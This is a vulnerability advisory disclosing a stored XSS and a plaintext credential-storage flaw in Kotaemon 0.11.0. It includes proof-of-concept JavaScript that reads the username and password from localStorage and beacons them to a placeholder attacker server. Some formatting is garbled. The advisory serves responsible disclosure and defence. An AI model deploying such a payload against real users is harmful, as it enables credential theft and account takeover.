
Public disclosure for CVE-2025-56526 and CVE-2025-56527 — Stored XSS via unsanitized PDF content rendering and plaintext credential exposure in Kotaemon 0.11.0. Includes full technical analysis, PoC, impact assessment, and responsible disclosure timeline.
Stored Cross-Site Scripting in the Kotaemon Information Panel combines with plaintext credential storage in
localStorage, enabling full session compromise from a single malicious PDF upload.
<= 0.11.0 (including commit 37cdc28)CVE-2025-56526 – Stored XSS via unsanitized PDF content renderingCVE-2025-56527 – Plaintext username/password storage in localStorage| CVE ID | Weakness | CWE | Primary Impact |
|---|---|---|---|
| CVE-2025-56526 | Stored XSS via PDF-derived HTML | CWE-79 | Arbitrary JavaScript execution, data exfiltration |
| CVE-2025-56527 | Plaintext credential storage | CWE-922 | Credential disclosure, session hijacking |
PDF extraction results (text, table markup, image metadata) are injected into the DOM without escaping. A malicious PDF can therefore ship arbitrary HTML/JS that runs whenever the Information Panel or Reasoning views render retrieved_content.
Affected code paths include:
libs/ktem/ktem/utils/render.py (Render.table, Render.image, Render.collapsible_with_header)libs/ktem/ktem/index/file/ui.py (table / image rendering)libs/ktem/ktem/reasoning/simple.py and libs/ktem/ktem/reasoning/react.pylibs/kotaemon/kotaemon/indices/qa/format_context.pylocalStoragelibs/ktem/ktem/pages/login.py together with libs/ktem/ktem/assets/js/main.js stores and retrieves raw credentials directly from localStorage:
setStorage('username', usn);
setStorage('password', pwd);
const username = getStorage('username', '');
const password = getStorage('password', '');
Any JavaScript executed through the XSS vector can immediately read these values, resulting in reliable credential theft and long-lived account takeover.
alt attribute or text object): {
const u = localStorage.getItem('username');
const p = localStorage.getItem('password');
if (u && p) {
new Image().src='https://[ATTACKER-SERVER]?d=' + btoa(`id=${u}&pw=${p}`);
}
})();
">
{
const payload = btoa(
`id=${localStorage.getItem('username')}` +
`&pw=${localStorage.getItem('password')}` +
`&url=${location.href}&origin=${location.origin}` +
`&ua=${navigator.userAgent}`
);
new Image().src='https://[ATTACKER-SERVER]?d=' + payload;
})();
">
username/password pairs are exposed to any injected script.Kotaemon is often deployed in local or enterprise environments where users upload sensitive internal documents. Because PDF-derived content is inserted into the DOM without sanitization, an attacker can disguise a malicious payload inside a normal-looking business document.
When the victim uploads and views this document, the hidden JavaScript executes automatically, stealing credentials from localStorage and exposing private chat logs and document contents.
Although the trigger appears user-initiated, this is not self-XSS. The root cause is server-side failure to sanitize HTML extracted from uploaded files, enabling Stored XSS inside trusted UI components.
As a result, a single malicious PDF can lead to full account compromise in realistic social-engineering scenarios.
html.escape, DOMPurify, or Trusted Types for DOM sinks).script-src 'self') and Trusted Types to shrink the DOM XSS attack surface.screenshots/)







This public advisory follows industry-standard responsible disclosure practices:
Users of Kotaemon (<= 0.11.0) should consider the following until a security fix becomes available:
[email protected]